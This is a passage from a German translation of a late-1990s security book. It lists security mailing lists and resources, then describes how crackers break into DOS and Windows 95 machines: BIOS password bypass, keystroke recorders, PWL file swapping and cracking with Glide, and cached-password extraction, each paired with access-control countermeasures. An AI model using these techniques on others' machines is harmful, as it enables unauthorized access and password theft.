FIRST hat kein zentralisiertes Kontrollorgan. Alle Mitglieder der Organisation teilen die Informationen,
aber niemand kontrolliert die anderen. FIRST verwaltet eine Liste von Links zu allen Mitgliedern, die
Web-Server haben. Schauen Sie sich FIRST an unter http:// www.first.org/team-info/.
Das Windows 95 Bug Archive
Rich Graves verwaltet das Windows 95 Bug Archive an der Stanford University. Es ist die einzige
umfassende Quelle für Sicherheitsinformationen über Windows 95. Dieses Archiv finden Sie unter
http://www-leland.stanford.edu/~llurch/win95netbugs/archives/ .
Hr. Graves ist Netzwerkberater, Webmaster, AppleTalk-Spezialist und ein Meister-Gopheradministrator.
Er hat eine immense Liste von Quellen über Windows-95-Netzwerke gesammelt (er ist Autor des
Windows 95 Networking FAQ). Seine Win95NetBugs-Liste hat einen suchbaren Index, den Sie unter
http://www-leland.stanford.edu/~llurch/ win95netbugs/search.html finden.
Die Site beinhaltet auch ein FTP-Archiv mit Windows-95-Fehlern, auf die Sie über das WWW unter
http://www-leland.stanford.edu/~llurch/win95netbugs/archives/ zugreifen können.
16.7 Mailing-Listen
Tabelle 16.1 gibt Ihnen Informationen über die wichtigsten Mailing-Listen zum Thema Sicherheit. Die
meisten dieser Listen stellen Ihnen hochaktuelle Hinweise zur Verfügung.
Tabelle 16.1: Mailing-Listen zu Sicherheitslöchern und Schwachstellen
Mailing-List Themenspektrum
Das Sicherheitsloch
file:///d|/cool stuff/old/hack/kap16.htm (8 von 13) [19.04.2000 21:14:53]
8lgm-list-request@8lgm.org Die Eight Little Green Men-Sicherheitsliste bietet
detaillierte Diskussionen über Sicherheitslöcher,
Exploits und Abhilfen. Diese Liste legt ihren
Schwerpunkt auf Unix. Junk-Mail ist nicht erlaubt
und wird nicht weitergeleitet. Um sich anzumelden,
senden Sie eine Nachricht mit dem Befehl subscribe
81gm- list im Textfeld.
alert@iss.net Die alert-Liste von Internet Security Systems.
Warnungen, Produktankündigungen und
Unternehmensinformationen von Internet Security
Systems. Um sich bei dieser und anderen ISS-Listen
anzumelden, gehen Sie zu http://iss.net/vd/
maillist.html#alert.
bugtraq@netspace.org Die BUGTRAQ-Mailing-Liste. Mitglieder
diskutieren über Schwachstellen in Unix. Um sich
anzumelden, senden Sie eine Nachricht mit dem
Befehl SUBSCRIBE BUGTRAQ im Textfeld an die
Adresse LISTSERV@NETSPACE.ORG.
firewall-wizards@nfr.net Die Firewall-Wizards-Mailing-Liste. Verwaltet von
Marcus Ranum ist diese Liste ein moderiertes
Forum für Firewall-Administratoren. Um sich
anzumelden, gehen Sie zu http://www.nfr.net/forum/
firewall-wizards.html.
linux-alert-request@RedHat.com Die Linux-Alert-Liste. Diese Liste beinhaltet
Ankündigungen und Warnungen von
Linux-Herstellern oder -Entwicklern. Um sich
anzumelden, senden Sie eine Nachricht mit dem
Befehl subscribe in der Betreffzeile.
linux-security-request@RedHat.com Die Linux-Sicherheitsliste. Jetzt verwaltet von
RedHat, legt diese Liste ihren Schwerpunkt auf
Linux- Sicherheitsaspekte. Um sich anzumelden,
senden Sie eine Nachricht mit dem Befehl subscribe
in der Betreffzeile.
listserv@etsuadmn.etsu.edu Die Information-Security-Mailing-Liste. Die
Mitglieder dieser Liste diskutieren über Sicherheit in
der Informationsverarbeitung. Um sich anzumelden,
senden Sie eine Nachricht mit dem Befehl SUB
infsec-1 im Textfeld.
Das Sicherheitsloch
file:///d|/cool stuff/old/hack/kap16.htm (9 von 13) [19.04.2000 21:14:53]
majordomo@applicom.
co.il
Die Firewall-1-Sicherheitsliste. Diese Liste legt
ihren Schwerpunkt auf Aspekte, die das
Firewall-1-Produkt von CheckPoint betreffen. Um
sich anzumelden, senden Sie eine Nachricht mit dem
Befehl SUBSCRIBE firewall-1 im Textfeld.
majordomo@lists.
gnac.net
Die Firewalls-Mailing-Liste. Die Liste hat ihren
Schwerpunkt auf Firewall-Sicherheit (vorher
firewalls@greatcircle.com). Um sich anzumelden,
senden Sie eine Nachricht mit dem Befehl subscribe
firewalls im Textfeld.
majordomo@toad.com Die Cyberpunks-Mailing-Liste. Mitglieder
diskutieren über Themen wie Privatsphäre und
Kryptographie (wenn ein wichtiges
kryptographisches API geknackt wird, hören Sie es
wahrscheinlich hier zuerst). Um sich anzumelden,
senden Sie eine Nachricht mit dem Befehl
SUBSCRIBE im Textfeld.
majordomo@uow.edu.au Die Intrusion-Detection-Systems-Mailing-Liste.
Mitglieder dieser Liste diskutieren über
Echtzeittechniken zum Aufdecken von
Eindringlingen, Agents, Enwicklungen von
neuronalen Netzen usw. Um sich anzumelden,
senden Sie eine Nachricht mit dem Befehl subscribe
ids im Textfeld.
listserv@listserv.
ntbugtraq.com
Die NTBUGTRAQ-Mailing-Liste. Verwaltet von
Russ Cooper, verfolgt die NTBUGTRAQ-Liste
Sicherheitsschwachstellen (und andere
Sicherheitsaspekte) von Microsoft Windows NT.
Um sich anzumelden, senden Sie eine Nachricht mit
dem Befehl subscribe ntbugtraq Ihr_Vorname
Nachname im Textfeld.
risks-request@csl.sri.com Das Risks-Forum. Die Mitglieder dieser Liste
diskutieren über eine Vielfalt von Risiken, denen
wir in einer informationsbasierten Gesellschaft
ausgesetzt sind. Beispiele sind die Überschreitung
der Privatsphäre, Kreditkartendiebstahl,
Cracking-Angriffe usw. Um sich anzumelden,
senden Sie eine Nachricht mit dem Befehl
SUBSCRIBE im Textfeld.
Das Sicherheitsloch
file:///d|/cool stuff/old/hack/kap16.htm (10 von 13) [19.04.2000 21:14:53]
ssl-talk-request@
netscape.com
Die Secure Socket Layer Mailing-Liste. Mitglieder
dieser Liste diskutieren über Entwicklungen in SSL
und potentielle Sicherheitsaspekte. Um sich
anzumelden, senden Sie eine Nachricht mit dem
Befehl SUBSCRIBE im Textfeld.
support@support.
mayfield.hp.com
Hewlett-Packard-Sicherheitshinweise. Um sich
anzumelden, senden Sie eine Nachricht mit dem
Befehl subscribe security info im Textfeld.
16.8 Usenet-Newsgruppen
Eine weitere wertvolle Informationsquelle können Usenet-Newsgruppen darstellen. Tabelle 16.2 nennt
Newsgruppen, die sich mit Sicherheitslöchern auseinandersetzen.
Tabelle 16.2: Newsgruppen zu Sicherheitslöchern und Schwachstellen
Newsgroup Themenspektrum
alt.2600 Hacking, Cracking und Exploits. Diese Newsgruppe hat die
beste Zeit hinter sich und wird inzwischen vor allem von
Anfängern und Jugendlichen belebt.
alt.2600.crackz Hacking, Cracking. Themenschwerpunkt sind vornehmlich
Cracks. Fungiert auch als Drehscheibe für Cracks und
Raubkopien.
alt.2600.hackerz Hacking, Cracking. Diese Newsgruppe ist alt.2600 ähnlich.
alt.computer.security Allgemeine Computer-Sicherheit. Entspricht größtenteils
comp.security.misc.
alt.hackers.malicious Denial-of-Service, Cracking, Virus-Programme. Den
Teilnehmern geht es primär um Schadensmaximierung.
alt.security Sehr generelle Sicherheitsaspekte. Neben Informationen zu
Alarmsystemen, CS-Gas und Personenschutz tauchen
manchmal auch nützliche Hinweise zu Netzwerksicherheit auf.
alt.security.espionage Für echte Verschwörungsanhänger.
alt.security.pgp Pretty-Good-Privacy. Diese Newsgruppe über PGP bringt
zuweilen interessante und teils ausladende Debatten zum
Thema Kryptographie hervor.
comp.lang.java.security Die Java-Programmiersprache. Ein informatives Forum, das
insbesondere Sicherheitslücken in Java als erstes aufdeckt.
comp.os.netware.security NetWare-Sicherheit. Eine lohnende Newsgruppe, die
lebendiger ist, als man glauben möchte.
Das Sicherheitsloch
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comp.security Allgemeine Sicherheitsthemen. Entspricht partiell
alt.security mit einer etwas stärkeren Tendenz in
Richtung Computer-Sicherheit.
comp.security.firewalls Firewalls. Diese Newsgruppe ist etwas gewagter als andere
Firewall-Listen. Die Debatten sind informativ und lohnend.
comp.security.misc Allgemeine Sicherheitsthemen.
comp.security.unix Unix-Sicherheit. Aufschlußreich und aktuell. Die
wahrscheinlich beste Unix-Newsgruppe
microsoft.public.cryptoapi Kryptographie-Aspekte auf der Microsoft-Plattform. Bietet
Informationen zu Schwachstellen in Microsofts Crypto API.
16.9 Mailing-Listen von Anbietern, Patch-Archive
und Informationsquellen
Abschließend werden in den folgenden Abschnitten Mailing-Listen von Anbietern, Patch- Archive und
weitere Quellen sicherheitsrelevanter Informationen aufgeführt.
Silicon Graphics Security Headquarters
Das Silicon Graphics Security Headquarter bietet folgende, allgemein zugängliche Informationsquellen
an:
SGI-Sicherheitshinweise. SGI Sicherheitshinweise liefern aktuelle Informationen zu
Sicherheitsschwachstellen des IRIX-Betriebssystems. Sie finden diese Hinweise unter
http://www.sgi.com/Support/security/
advisories.html.
SGI-Sicherheitspatches. SGI bietet ein Patcharchiv. Dies ist eine gute Quelle voller Lösungen für
ältere Schwachstellen. Sie finden die Patches unter
http://www.sgi.com/Support/security/patches.html.
Qs Programm-Toolbox. Dies ist eine Sammlung von sicherheitsrelevanten Programmen, die Ihnen
dabei helfen, die Sicherheit Ihres SGI-Systems zu erweitern. Sie finden hier Scanning-Tools,
Protokollierungsutilities und sogar Zugangskontroll-Listen-Tools. Schauen Sie sich die
Programme an unter http://www.sgi.com/Support/security/ toolbox.html.
Die Homepage von SGIs Security Headquarters finden Sie unter http://www.sgi.com/
Support/security/security.html.
Das Sun-Security-Bulletin-Archiv
Sun Microsystems bietet aktuelle Sicherheitsbulletins über viele seiner Produkte. Diese Bulletins finden
Sie auf dem SunSolve-Server unter http://sunsolve.sun.com/pub-cgi/ secbul.pl.
Das Sicherheitsloch
file:///d|/cool stuff/old/hack/kap16.htm (12 von 13) [19.04.2000 21:14:53]
Die ISS-NT-Security-Mailing-Liste
Die NT-Security-Mailing-Liste wird von Internet Security Systems (ISS) verwaltet. Es ist ein
Mailing-Listen-Archiv, in dem Leute Fragen (oder Antworten) über NT-Sicherheit stellen. In dieser
Hinsicht sind die Nachrichten Usenet-Artikeln sehr ähnlich. Sie sind in Listenform präsentiert und
können sortiert nach Thema, Autor oder Datum angesehen werden. Gehen Sie zu
http://www.iss.net/lists/ntsecurity/, um sich die Listeneinträge anzusehen. Von dieser Adresse können Sie
sich auch mit anderen Mailing-Listen zum Thema Sicherheit verbinden lassen, darunter nicht nur
Windows-NT-relevante Listen sondern auch Mailing-Listen zum Thema integrierte Sicherheit.
Außerdem können Sie sich nur die aktuellsten Nachrichten ansehen oder das Archiv durchsuchen.
Das National Institute of Health
Die Computer-Security-Information-Seite am National Institute of Health (NIH) ist eine Link-Seite. Sie
beinhaltet Verweise auf Online-Magazine, Hinweise, Vereinigungen, Organisationen und andere
interessante Websites zum Thema Sicherheit. Sie finden die NIH-Seite unter
http://www.alw.nih.gov/Security/security.html. Dies ist eine sehr große Site. Ein besserer Weg ist
vielleicht, sich direkt den umfassenden Index anzuschauen, den Sie unter
http://www.alw.nih.gov/Security/tcontents.html finden.
Der Computer and Network Security Reference Index
Dieser Index ist eine weitere gute Informationsquelle. Er bietet Links zu Hinweisen, Newsgroups,
Mailing-Listen, Herstellern und Archiven. Sie finden ihn unter
http://www.telstra.com.au/info/security.html .
Eugene Spaffords Security Hotline
Eugene Spaffords Site kann in fünf Worten zusammengefaßt werden: die ultimative Seite für
Sicherheitsinformationen. Von den Hunderten von Seiten zum Thema Sicherheit ist dies die
umfassendste Sammlung verfügbarer Links. Im Gegensatz zu vielen Linkseiten, deren Links längst
veraltet sind, bleibt diese Seite aktuell. Schauen Sie sie sich an unter http://
www.cs.purdue.edu/coast/hotlist/.
16.10 Zusammenfassung
In diesem Kapitel zeige ich Ihnen, daß Aktualität ein kritischer Punkt ist. Ich weiß keine bessere Art,
diesen Punkt nochmals zu demonstrieren, als folgendes zu enthüllen: Ich habe vier Stunden gebraucht,
um dieses Kapitel zusammenzuschreiben. Während dieses Zeitraums sind fünf Sicherheitslöcher
aufgetaucht.
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Das Sicherheitsloch
file:///d|/cool stuff/old/hack/kap16.htm (13 von 13) [19.04.2000 21:14:53]
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17
Microsoft
Früher hatten Microsoft-Produkte den Ruf, sehr wenig Sicherheit zu bieten. Zum Glück hat sich das bis
heute etwas gebessert. Allerdings müssen Sie schon zu Windows NT greifen, wenn Sie mit einer
halbwegs sicheren Microsoft-Plattform arbeiten wollen. Microsoft hat in den Mailing-Listen zur
Internet-Sicherheit oft genug klargestellt, daß man nicht vorhat, die Sicherheitskontrollen von Microsoft
Windows 3.11, 95 oder 98 neu zu schreiben.
Aus diesem Grund werde ich hier auch nur kurz auf DOS oder ältere Versionen des
Windows-Betriebssystems eingehen. (Den Platz widme ich lieber Windows NT.) Ich beginne dieses
Kapitel mit den wenigen Informationen, die zum Knacken eines Rechners erforderlich sind, auf dem ein
anderes Microsoft-Betriebssystem als NT installiert ist.
17.1 DOS
Microsofts Betriebssystem DOS ist das meistgenutzte Betriebssystem aller Zeiten. Es ist klein, erfordert
wenig Speicher und kommt mit wenigen Befehlen aus. DOS 6.22 hat nur ca. 1/16 der Befehle eines
vollständigen Unix.
Obwohl die Popularität von DOS in den letzten Jahren nachgelassen hat, benutzen es immer noch sehr
viele. (Ich begegne auf Netzwerk-Computern oft einer Mischung aus DOS und Windows 3.11. Und das,
obwohl diese Kombination von Natur aus unsicher ist.) Ich möchte die Schwachstellen solcher Systeme
im folgenden kurz aufzeigen.
17.1.1 IBM-kompatible Systeme
Microsoft DOS läuft nur auf IBM-kompatibler Hardware. Bei der Entwicklung der IBM- Architektur
stand die Sicherheit nicht an erster Stelle. Deshalb ist jedes DOS-basierte System sehr leicht zu
attackieren. Das fängt schon beim BIOS-Paßwort an.
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (1 von 39) [19.04.2000 21:14:59]
Das BIOS-Paßwort
BIOS-Paßwörter (die auf den 286er zurückdatieren) können von jedem deaktiviert werden, der
physikalischen Zugang zum Rechner hat.
Hinweis:
BIOS-Paßwörter werden verwendet, um die Konsole vor unberechtigten Benutzern zu schützen. Das
BIOS-Paßwort erzwingt beim Booten ein Paßwort- Prompt. Der Bootvorgang wird praktisch
angehalten, bis der Anwender das korrekte Paßwort eingegeben hat.
Um den BIOS-Paßwortschutz zu deaktivieren, müssen Sie nur die CMOS-Batterie auf dem Mainboard
außer Betrieb setzen, indem Sie sie z.B. entfernen oder kurzschließen. Wenn das BIOS-Paßwort gelöscht
ist, kann ein Cracker auf das System zugreifen. Netzwerk-Workstations sind auf diese Weise leicht zu
knakken. Dabei ist es nicht einmal unbedingt erforderlich, daß der Angreifer den Rechner
auseinandernimmt. Er kann auch ein Hilfsprogramm zum Stehlen des Paßworts (Password Capturing
Utility) benutzen. Damit kann jeder das BIOS-Paßwort auslesen, während der Rechner läuft. Die
beliebtesten sind:
Amiecod. Dieses kleine Utility ist sehr zuverlässig. Es liefert das zuletzt benutzte Paßwort auf
einem Motherboard mit einem American Megatrends BIOS.
http://pipeta.chemia.pk.edu.pl/pub/misc/util/biospass/amipass.arj
Ami.com. Gleiche Funktionalität wie Amiecod. Liefert ein AMI-CMOS-Paßwort.
http://www.chips.navy.mil/oasys/info/ami.zip
Aw.com. Dieses Utility liefert das auf einem Board mit einem Award-BIOS verwendete Paßwort.
http://samarac.hfactorx.org/Filez/aw.zip
Nachdem er einmal drin ist, wird der Cracker sich weiteren bzw. privilegierten Zugriff verschaffen
wollen. Um auf einem vernetzten DOS-Rechner privilegierten Zugriff zu erhalten, muß der Cracker
Benutzerkennungen und Paßwörter herausfinden. Dazu wird er sich wahrscheinlich eines Utilities zum
Tastatur-Recording (Key-capture Utility) bedienen.
17.1.2 Tastatur-Recorder
Tastatur-Recorder zeichnen Tastatureingaben auf, die nach einem bestimmten Ereignis gemacht werden.
(Der üblichste Auslöser ist das Einloggen.) Diese Tastatureingaben werden dann in einer verborgenen
Datei gespeichert.
Das Verzeichnis, in dem die Tastatureingaben gespeichert werden, kann ebenfalls verborgen werden. Die
beliebteste Methode, ein Verzeichnis zu verbergen, ist die Verwendung des
(ALT)+(2)+(5)+(5)-Zeichens als Verzeichnisnamen. Dieses Zeichen ist ein erweitertes
ASCII-Zeichen. In Windows erscheint es im Dateimanager als ein Kringel, den man leicht übersieht.
Kids verwenden diese Methode, um Spiele und schlüpfrige Fotos auf ihren Rechnern zu Hause und in
der Schule zu verbergen.
Tip:
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (2 von 39) [19.04.2000 21:14:59]
Verborgene Dateien werden im allgemeinen durch den attrib-Befehl erzeugt oder durch den
Tastatur-Recorder selbst; d.h. der Programmierer hat diese Möglichkeit in die Software integriert.
Es gibt einige Tastatur-Recorder für DOS. Die beliebtesten und ihre Dateinamen stehen in Tabelle 17.1.
Um diese Utilities zu finden, geben Sie am besten in der Suchmaske von http://altavista.digital.com/ den
Dateinamen ein.
Tabelle 17.1: Beliebte Tastatur-Recorder
Utility Dateiname Eigenschaften
Keycopy keycopy.zip Zeichnet bis zu 200 Tastenanschläge in WordPerfect, MultiMate,
Norton Editor und Standard-Befehlszeilenumgebungen auf.
Playback PB19C.ZIP Zeichnet Tastatureingaben auf und gibt sie in genau derselben
Reihenfolge und Geschwindigkeit wieder, in der sie eingegeben wurden.
Gut für die Simulation von Logins geeignet.
Phantom2 phantom2.zip Zeichnet Tastatureingaben in allen Umgebungen auf. Dieses Utility hat
viele Vorzüge, unter anderem die zeitbasierte Wiedergabe.
Keytrap keytrap1.zip Leistungsfähiges Werkzeug zur Aufzeichnung von Tastatureingaben zu
einem festgelegten Zeitpunkt.
Im allgemeinen brauchen Cracker aber keine Tastatur-Recorder. DOS hat keine obligatorische oder gar
freiwillige Zugriffskontrolle. Deshalb ist das Spiel schon vorbei, sobald ein Cracker an einen Prompt
gelangt ist. Die einzige Möglichkeit, dies zu verhindern, ist die Installation von Zusatzprogrammen zur
Zugriffskontrolle.
17.1.3 Zugriffskontroll-Software für DOS
Mit den folgenden Paketen kann man eine Zugriffskontrolle für DOS einrichten.
Secure 1.0
Secure 1.0 verhindert, daß unbefugte Benutzer auf ein bestimmtes Verzeichnis zugreifen können. Das
Verzeichnis bleibt allerdings für den Benutzer sichtbar, er kann nur nicht darauf zugreifen. Die
unregistrierte Version ermöglicht die Kontrolle über ein Verzeichnis. Sie finden sie hier:
ftp://ftp.cs.cuhk.edu.hk/pub/simtel/win3/security/secure10.zip
Secure File System (SFS)
SFS ist eine exzellente Sammlung von Sicherheitsanwendungen für DOS. Sie bietet eine
High-Level-Kryptographie für DOS-Volumes (bis zu fünf gleichzeitig), verbesserte Stealth-
Eigenschaften und eine gute Dokumentation. Außerdem erfüllt SFS den Federal Information Processing
Standard (FIPS). Seine Kompatibilität mit vielen Disk-Caching- und Speicherverwaltungsprogrammen
macht das Programm recht vielseitig. Hier die Adresse:
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (3 von 39) [19.04.2000 21:14:59]
ftp://ftp.telepac.pt/pub/garbo/pc/crypt/sfs110.zip
Sentry
Sentry ist für ein Shareware-Produkt ziemlich vollständig und ermöglicht Ihnen sogar den Schutz
einzelner Dateien. Außerdem bietet es Paßwortalterung und einigen Support für Windows. Sie können
Sentry an folgender Site finden:
ftp://ftp.digital.com/pub/micro/pc/simtelnet/msdos/security/sentryba.zip
Encrypt-It
Encrypt-It bietet eine High-Level DES-Verschlüsselung für DOS, die auf einzelne Dateien oder eine
Reihe von Dateien angewandt werden kann. Das Programm ermöglicht es Ihnen auch, Ihre
Verschlüsselung über Makros von bis zu 1.000 Zeichen Länge zu automatisieren. Das Paket enthält ein
Benchmark-Tool, mit dem Sie bestimmen können, wie gut eine bestimmte Datei verschlüsselt ist. Sehen
Sie hier nach:
http://www.maedae.com/
LCK2
LCK2 sperrt das Terminal, während Sie weg sind. Es erlaubt keinen Warmstart oder Interrupt-
Tastenkombinationen ((Strg)+(Alt)+(Entf) oder (Strg)+(Pause)). Das könnte für Umgebungen nützlich
sein, in denen es den Benutzern strengstens untersagt ist, die Rechner neu zu starten. Sie finden es hier:
ftp://ftp.lib.sonoma.edu/pub/simtelnet/msdos/security/lck100.zip
Gateway2
Gateway2 fängt Reboot-Versuche mit (Strg)+(Alt)+(Entf) und den Funktionstasten (F5) und (F8) ab.
(Das Drücken der (F5)- oder (F8)-Taste hält den Bootvorgang an und umgeht Konfigurationsdateien wie
AUTOEXEC.BAT und CONFIG.SYS. Das ist eine Möglichkeit, an einen Prompt zu gelangen.)
Gateway2 hat noch weitere Vorzüge, wie z.B. die Unterstützung eines Paßwortschutzes für bis zu 30
Benutzer auf einem einzigen Rechner. Sehen Sie hier nach:
ftp://ftp.lib.sonoma.edu/pub/simtelnet/msdos/security/gatewy12.zip
17.1.4 Sites mit DOS-Sicherheitstools
Im folgenden sind einige Sites aufgeführt, auf denen Sie Sicherheitstools für die DOS- Umgebung
finden.
Der Simtel-DOS-Security-Index
Diese Seite bietet Nützliches zu Paßwortschutz, Zugriffsbeschränkungen und Schutz des Bootvorgangs.
Sie finden sie an folgender Adresse:
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (4 von 39) [19.04.2000 21:14:59]
http://www.cpdee.ufmg.br/simtel/simtel_index_security.html
Die CIAC-DOS-Security-Tools-Seite
Diese Seite enthält wichtige Informationen zum Thema Zugriffsbeschränkung und bietet ein Programm
zum Schutz von bestimmten Zylindern einer Festplatte an.
http://ciac.llnl.gov/ciac/ToolsDOSSystem.html
DOS-Sicherheitstools bei Cypher.net
Diese Seite bietet Material zu Paßwortschutz, Zugriffskontrolle und Bootschutz. Sie befindet sich unter:
http://www.cypher.net/tools/dossecure.html
The Repository at Oakland.edu
Diese Site enthält Informationen zu Paßwortschutz, Zugriffskontrolle und Bootschutz. Sie finden sie
unter:
ftp://oak.oakland.edu/pub/simtelnet/msdos/security/
17.2 Windows for Workgroups und Windows 95
Windows for Workgroups und Windows 95 bieten nur wenig mehr Sicherheit als DOS. Beide verlassen
sich auf das PWL-Paßwortschema. PWL-Dateien werden erstellt, wenn Sie Ihr Paßwort erzeugen, und
befinden sich per Voreinstellung im Verzeichnis C:\WINDOWS. Davon abweichende Speicherpfade
finden Sie in der SYSTEM.INI. (In der SYSTEM.INI wird der PWL-Pfad festgelegt.)
17.2.1 Das Paßwortlisten(PWL)-Paßwortschema
Das PWL-Paßwortschema ist nicht sicher und kann durch einfaches Löschen der Dateien überwunden
werden.
Hinweis:
Wenn der Cracker keine Zeichen seines Eindringens hinterlassen will, wird er die PWL-Dateien
wahrscheinlich nicht löschen. Statt dessen wird er neu booten, das Laden von Windows unterbrechen
((F5) oder (F8)) und die SYSTEM.INI editieren. Dort wird er die Pfadangabe von der Voreinstellung
(C:\WINDOWS) in ein temporäres Verzeichnis ändern. In diesem temporären Verzeichnis wird er eine
andere PWL-Datei einfügen, zu der ihm das Paßwort bekannt ist. Dann wird er neu booten und sich
anmelden. Nach getaner Arbeit wird er die SYSTEM.INI wieder in ihren alten Zustand versetzen.
Bei komplexeren Cracking-Schemata muß der Angreifer das Paßwort tatsächlich in Erfahrung bringen
(z.B. wenn der Cracker ein lokales Windows-System verwendet, um einen entfernten
Windows-NT-Server zu knacken). In solchen Umgebungen hat der Cracker zwei Möglichkeiten: Er kann
entweder die PWL-Paßwortdatei des Windows-95-Rechners knakken oder das Paßwort aus dem
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (5 von 39) [19.04.2000 21:14:59]
Cache-Speicher ziehen, während das Ziel noch eingeloggt ist. Beide Techniken werden wir kurz
vorstellen.
Knacken von PWL-Dateien
Normale PWL-Dateien zu knacken, die auf dem durchschnittlichen Windows-95-Rechner erzeugt
worden sind, ist einfach. Dafür brauchen Sie nur ein Utility namens Glide.
Glide
Glide dient zum Knacken von PWL-Dateien. Für Interessierte liegt der Quellcode des Programms bei.
Um Glide zu verwenden, geben Sie den Dateinamen (PWL) und den damit verbundenen Benutzernamen
ein. Glide ist sehr effektiv und kann im Web unter folgender Adresse gefunden werden:
http://morehouse.org/hin/blckcrwl/hack/glide.zip
Hinweis:
Um dieses Problem zu beheben, sollten Sie Zugriffskontroll-Software von Drittanbietern installieren.
Sollten Sie gezwungen sein, sich auf den PWL- Paßwortschutz zu verlassen, können Sie Ihre Lage
trotzdem verbessern. GLIDE kann keine Paßwort-Dateien knacken, die auf einem Rechner mit
installiertem Windows 95 Service Pack 1 erzeugt worden sind. Sie sollten also wenigstens immer die
neuesten Service-Packs installieren.
17.2.2 Herausziehen des Paßworts aus dem Cache-Speicher
In dem PWL-System werden zwei unterschiedliche Funktionen verwendet: eine zum Verschlüsseln und
Speichern des Paßworts und eine andere zum Abrufen. Diese Routinen sind:
WNetCachePassword()
WNetGetCachedPassword()
Das Paßwort verbleibt im Cache. Sie können in VC++ oder VB eine Routine schreiben, die sich das
Paßwort eines anderen Benutzers holt. Die einzige Einschränkung ist, daß der andere Benutzer
eingeloggt sein muß, wenn das Programm ausgeführt wird (so daß sein Paßwort abgefangen werden
kann). Das Paßwort kann dann in einen anderen Speicherbereich ausgelagert werden. Wenn Sie soweit
gekommen sind, können Sie das Paßwort-Sicherheitsschema umgehen, indem Sie die so gecachte
Version des Paßworts benutzen. (Diese Technik wird Cache Flushing genannt. Sie beruht auf demselben
Prinzip wie die Verwendung eines Debuggers zur Aufdeckung von Authentifizierungsschemata in
Client-Software.)
Sie können auch erzwingen, daß das gecachte Paßwort in der Auslagerungsdatei gespeichert wird. Das ist
jedoch eine mühsame und aufwendige Methode; es gibt andere, leichtere Wege.
Tip:
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (6 von 39) [19.04.2000 21:14:59]
Eine Methode ist, die Paßwort-Datenbank sehr schnell mit mehreren Einträgen zu bombardieren. Dazu
können Sie ein Utility wie Claymore verwenden. Durch diese Technik füllen Sie den für Paßwörter
verfügbaren Platz vollständig aus. Dies verursacht einen Überlauf, und die Routine verwirft ältere
Paßwörter. Allerdings hinterläßt diese Methode deutliche Spuren.
Auf jeden Fall ist das PWL-System von Natur aus mangelhaft und bietet sehr wenig Schutz gegen
Eindringlinge. Wenn Sie Windows 95 verwenden, müssen Sie Zugriffskontroll-Software von
Drittanbietern installieren. Im folgenden sind einige solche Produkte und deren Hersteller aufgeführt.
17.2.3 Zugriffskontroll-Software für Windows 95
Cetus StormWindows
Cetus Software, Inc.
P.O. Box 700
Carver, MA 02330
E-Mail: support@cetussoft.com URL: http://www.cetussoft.com/
Cetus StormWindows für Windows 95 ermöglicht Ihnen, fast alles in Ihrer Windows-95- Umgebung
wirkungsvoll zu verbergen und zu schützen, wie z.B.:
Verknüpfungen und Ordner
Laufwerke und Verzeichnisse
Netzwerkgeräte und -drucker
Insgesamt bietet Cetus StormWindows für Windows 95 eine sehr umfassende Zugriffskontrolle. (Dieses
Produkt verhindert auch die meisten alternativen Boot-Versuche, wie Warmstarts, (Strg)+(Alt)+(Entf)
und Funktionstasten.)
Clasp 97
Ryan Bernardini
4 Grand Banks Circle
Marlton, NJ 08053
E-Mail: ryan@cyberenet.net URL: http://www.cyberenet.net/~ryan/Clasp97/
Clasp 97 bietet guten Paßwortschutz, deaktiviert den Zugriff auf Windows 95 und verhindert Warmstarts
und (Strg)+(Alt)+(Entf)-Tastenkombinationen.
ConfigSafe 95 von Tech Assist, Incorporated
Tech Assist, Inc.
11350 66th Street Suite 105
Largo, FL 33773-5524
Tel. 001-800-274-3785
E-Mail: info@toolsthatwork.co URL: http://www.toolsthatwork.com/csafe95.htm
Microsoft
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ConfigSafe 95 schützt Registry- und DLL-Dateien davor, überschrieben oder gefälscht zu werden. Das
ist wichtig, weil die Registry in bestimmten Fällen die Paßwörter in Klartext enthält.
DECROS Security Card von DECROS, Ltd.
DECROS, Ltd.
J. S. Baara 40
370 01 Ceske Budejovice, Tschechien
Tel. 0042-38-731 2808
E-Mail: info@decros.cz URL: http://www.decros.cz/
DECROS Security Card bietet eine physikalische C2-Level-Zugriffskontrolle für Windows 95 mit Hilfe
eines Keykarten-Systems. Ohne eine solche Karte kann niemand auf das System zugreifen.
Desktop Surveillance 97
Omniquad
E-Mail: support@omniquad.com URL: http://www.omniquad.com/
Desktop Surveillance 97 ist ein vollständiges Utility für die Zugriffskontrolle unter Windows 95. (Dieses
Produkt bietet sehr gute Protokollierungs- und Audit-Möglichkeiten.)
FutureLock von Nerds Unlimited
Nerds Unlimited
5 Rowes Mews - St Peters Basin - Quayside
Newcastle Upon Tyne - England - NE6 1TX
Tel. 0044-191-2765056
E-Mail: webmaster@nerdsunlimited.com URL: http://www.nerdsunlimited.com/
FutureLock bietet eine Zugriffskontrolle für Windows 95 und unterstützt bis zu 999 Benutzer pro
Rechner.
HD95Protect
Gottfried Siehs
E-Mail: g.siehs@tirol.com URL: http://www.geocities.com/SiliconValley/Lakes/ 8753/
HD95Protect hat eine Zugriffskontrolle auf Hardware-Ebene und schränkt den Zugriff auf die Festplatte
ein.
Secure4U
Advanced Computer Research
E-Mail: sales@acrmain.com URL: http://www.acrmain.com/index.html
Secure4U verfügt über wirksame Filter- und Zugriffskontrollmöglichkeiten. Es zielt speziell darauf ab,
Java- und andere Plug-Ins und Sprachen mit eingebettetem Text daran zu hindern, in Ihr Netzwerk
Microsoft
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einzudringen.
StopLock 95 von PCSL
PCSL
Park Creek Place 3625 N. Hall Street Suite 740
Dallas, TX 75219
Tel. 001-214-520-2229
E-Mail: kmacfarlane@pcsl.com URL: http://www.pcsl.com/
StopLock bietet eine Zugriffskontrolle für Windows 95. Das Paket enthält auch eine Boot- Kontrolle,
Audit-Funktionen und Protokollierungstools.
Windows Task-Lock von Posum
Posum L.L.C.
P.O. Box 21015
Huntsville, AL 35824
Tel. 001-205-895-8361
E-Mail: 103672.2634@compuserve.com URL: http://posum.com/
Windows Task-Lock 4.1 bietet eine einfache, preiswerte und effektive Möglichkeit, bestimmte
Anwendungen für Windows 95 mit einem Paßwort zu schützen, unabhängig davon, wie sie ausgeführt
